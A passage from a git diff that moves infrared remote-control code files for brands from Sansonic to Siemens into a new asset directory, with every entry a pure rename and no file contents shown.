similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sansonic/Unknown_FT-300A/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sansonic/Unknown_FT-300A/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sansui/Unknown_SANSUI-RS-S103/132,77.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sansui/Unknown_SANSUI-RS-S103/132,77.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sansui/Unknown_SANSUI-RS-S103/132,77.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sansui/Unknown_SANSUI-RS-S103/132,77.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/TV/56,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/TV/56,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/TV/56,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/TV/56,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Unknown_A05800/49,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_A05800/49,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Unknown_A05800/49,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_A05800/49,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Unknown_B01004/49,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_B01004/49,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Unknown_B01004/49,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_B01004/49,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Unknown_B01007/49,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_B01007/49,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Unknown_B01007/49,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_B01007/49,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Unknown_B12628/49,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_B12628/49,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Unknown_B12628/49,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_B12628/49,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Unknown_B13540/49,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_B13540/49,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Unknown_B13540/49,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_B13540/49,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Unknown_RB-DA300/60,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_RB-DA300/60,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Unknown_RB-DA300/60,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_RB-DA300/60,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Unknown_RB-SL22/60,196.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_RB-SL22/60,196.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Unknown_RB-SL22/60,196.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_RB-SL22/60,196.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Unknown_RC-105C/54,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_RC-105C/54,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Unknown_RC-105C/54,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_RC-105C/54,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Unknown_RC700/56,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_RC700/56,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Unknown_RC700/56,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_RC700/56,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Unknown_Sanyo-B13509/49,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_Sanyo-B13509/49,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Unknown_Sanyo-B13509/49,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_Sanyo-B13509/49,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Unknown_Sanyo-JXZB/56,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_Sanyo-JXZB/56,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Unknown_Sanyo-JXZB/56,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_Sanyo-JXZB/56,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Unknown_Sanyo/49,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_Sanyo/49,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Unknown_Sanyo/49,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_Sanyo/49,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Unknown_Sanyo/56,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_Sanyo/56,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Unknown_Sanyo/56,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_Sanyo/56,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Unknown_TV/56,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_TV/56,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Unknown_TV/56,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_TV/56,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Unknown_VCR/49,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_VCR/49,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Unknown_VCR/49,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_VCR/49,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Unknown_sanyo-tv01/56,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_sanyo-tv01/56,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Unknown_sanyo-tv01/56,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_sanyo-tv01/56,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Unknown_sanyoB13537/49,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_sanyoB13537/49,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Unknown_sanyoB13537/49,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_sanyoB13537/49,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Video Projector/48,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Video Projector/48,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Video Projector/48,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Video Projector/48,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Satelco/Sat/24,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Satelco/Sat/24,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Satelco/Sat/24,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Satelco/Sat/24,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Schneider/Unknown_FB2000/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Schneider/Unknown_FB2000/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Schneider/Unknown_FB2000/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Schneider/Unknown_FB2000/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Schneider/Unknown_RC-193/154,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Schneider/Unknown_RC-193/154,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Schneider/Unknown_RC-193/154,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Schneider/Unknown_RC-193/154,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Schneider/Unknown_RC202/11,11.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Schneider/Unknown_RC202/11,11.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Schneider/Unknown_RC202/11,11.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Schneider/Unknown_RC202/11,11.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Schneider/Unknown_RC901/28,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Schneider/Unknown_RC901/28,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Schneider/Unknown_RC901/28,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Schneider/Unknown_RC901/28,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Schneider/Unknown_RC902/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Schneider/Unknown_RC902/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Schneider/Unknown_RC902/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Schneider/Unknown_RC902/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Schwaiger/Unknown_DSR/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Schwaiger/Unknown_DSR/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Schwaiger/Unknown_DSR/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Schwaiger/Unknown_DSR/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Scientific Atlanta/Cable Box/27,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Scientific Atlanta/Cable Box/27,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Scientific Atlanta/Cable Box/27,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Scientific Atlanta/Cable Box/27,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Scientific Atlanta/Cable Box/71,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Scientific Atlanta/Cable Box/71,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Scientific Atlanta/Cable Box/71,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Scientific Atlanta/Cable Box/71,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Scientific Atlanta/Unknown_Atlanta-1840/27,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Scientific Atlanta/Unknown_Atlanta-1840/27,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Scientific Atlanta/Unknown_Atlanta-1840/27,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Scientific Atlanta/Unknown_Atlanta-1840/27,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Scientific Atlanta/Unknown_IV/27,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Scientific Atlanta/Unknown_IV/27,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Scientific Atlanta/Unknown_IV/27,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Scientific Atlanta/Unknown_IV/27,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Scientific Atlanta/Unknown_RM9834/27,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Scientific Atlanta/Unknown_RM9834/27,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Scientific Atlanta/Unknown_RM9834/27,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Scientific Atlanta/Unknown_RM9834/27,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Scientific Atlanta/Unknown_SAE8000/27,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Scientific Atlanta/Unknown_SAE8000/27,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Scientific Atlanta/Unknown_SAE8000/27,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Scientific Atlanta/Unknown_SAE8000/27,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Scott/Unknown_DVD-838/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Scott/Unknown_DVD-838/8,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Scott/Unknown_DVD-838/8,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Scott/Unknown_DVD-838/8,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Scott/Unknown_scott-dvd/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Scott/Unknown_scott-dvd/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Scott/Unknown_scott-dvd/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Scott/Unknown_scott-dvd/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Seleco/TV/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Seleco/TV/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Seleco/TV/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Seleco/TV/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Seleco/TV/30,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Seleco/TV/30,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Seleco/TV/30,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Seleco/TV/30,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sencor/Unknown_SFN9011SL/0,252.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sencor/Unknown_SFN9011SL/0,252.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sencor/Unknown_SFN9011SL/0,252.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sencor/Unknown_SFN9011SL/0,252.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sgi/Unknown_SGIMON/26,9.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sgi/Unknown_SGIMON/26,9.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sgi/Unknown_SGIMON/26,9.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sgi/Unknown_SGIMON/26,9.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sharp/DTV Decoder/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/DTV Decoder/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sharp/DTV Decoder/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/DTV Decoder/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sharp/Monitor/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Monitor/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sharp/Monitor/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Monitor/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sharp/TV/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/TV/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sharp/TV/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/TV/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sharp/Unknown_CV-2131CK1/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Unknown_CV-2131CK1/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sharp/Unknown_CV-2131CK1/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Unknown_CV-2131CK1/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sharp/Unknown_G0048TA/19,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Unknown_G0048TA/19,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sharp/Unknown_G0048TA/19,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Unknown_G0048TA/19,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sharp/Unknown_G0412GE/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Unknown_G0412GE/3,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sharp/Unknown_G0412GE/3,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Unknown_G0412GE/3,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sharp/Unknown_G0938CESA/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Unknown_G0938CESA/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sharp/Unknown_G0938CESA/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Unknown_G0938CESA/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sharp/Unknown_G1014BMSA/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Unknown_G1014BMSA/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sharp/Unknown_G1014BMSA/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Unknown_G1014BMSA/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sharp/Unknown_G1044BMSA/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Unknown_G1044BMSA/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sharp/Unknown_G1044BMSA/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Unknown_G1044BMSA/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sharp/Unknown_GJ210/0,189.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Unknown_GJ210/0,189.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sharp/Unknown_GJ210/0,189.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Unknown_GJ210/0,189.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sharp/Unknown_RRMCGA030WJSA/8,48.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Unknown_RRMCGA030WJSA/8,48.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sharp/Unknown_RRMCGA030WJSA/8,48.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Unknown_RRMCGA030WJSA/8,48.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sharp/Unknown_SHARP/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Unknown_SHARP/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sharp/Unknown_SHARP/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Unknown_SHARP/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sharp/Unknown_sharp1781/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Unknown_sharp1781/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sharp/Unknown_sharp1781/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Unknown_sharp1781/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sharp/VCR/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/VCR/3,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sharp/VCR/3,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/VCR/3,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sharp/Video Projector/13,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Video Projector/13,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sharp/Video Projector/13,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Video Projector/13,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sharpsat/Unknown_T28/128,38.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharpsat/Unknown_T28/128,38.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sharpsat/Unknown_T28/128,38.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharpsat/Unknown_T28/128,38.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sherwood/Receiver/131,69.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sherwood/Receiver/131,69.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sherwood/Receiver/131,69.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sherwood/Receiver/131,69.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sherwood/Unknown_GC-1285/129,114.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sherwood/Unknown_GC-1285/129,114.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sherwood/Unknown_GC-1285/129,114.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sherwood/Unknown_GC-1285/129,114.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sherwood/Unknown_RM-101/69,131.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sherwood/Unknown_RM-101/69,131.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sherwood/Unknown_RM-101/69,131.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sherwood/Unknown_RM-101/69,131.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sherwood/Unknown_RM-636/131,68.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sherwood/Unknown_RM-636/131,68.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sherwood/Unknown_RM-636/131,68.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sherwood/Unknown_RM-636/131,68.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sherwood/Unknown_RM-RV-N25/131,68.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sherwood/Unknown_RM-RV-N25/131,68.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sherwood/Unknown_RM-RV-N25/131,68.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sherwood/Unknown_RM-RV-N25/131,68.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sherwood/Unknown_Sherwood-S2770R-CP-II/129,123.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sherwood/Unknown_Sherwood-S2770R-CP-II/129,123.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sherwood/Unknown_Sherwood-S2770R-CP-II/129,123.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sherwood/Unknown_Sherwood-S2770R-CP-II/129,123.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sherwood/Unknown_sherwood/129,122.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sherwood/Unknown_sherwood/129,122.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sherwood/Unknown_sherwood/129,122.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sherwood/Unknown_sherwood/129,122.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sherwood/Unknown_sherwood/131,69.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sherwood/Unknown_sherwood/131,69.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sherwood/Unknown_sherwood/131,69.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sherwood/Unknown_sherwood/131,69.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Shinco/Unknown_RC-1730/0,153.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Shinco/Unknown_RC-1730/0,153.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Shinco/Unknown_RC-1730/0,153.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Shinco/Unknown_RC-1730/0,153.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Shuttle/Unknown_mceusb/4,15.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Shuttle/Unknown_mceusb/4,15.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Shuttle/Unknown_mceusb/4,15.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Shuttle/Unknown_mceusb/4,15.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Siemens/Unknown_fb405/134,84.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Siemens/Unknown_fb405/134,84.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Siemens/Unknown_fb405/134,84.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Siemens/Unknown_fb405/134,84.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Siemens/Unknown_siemens-fb400/131,89.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Siemens/Unknown_siemens-fb400/131,89.ir similarity index 100% rename from 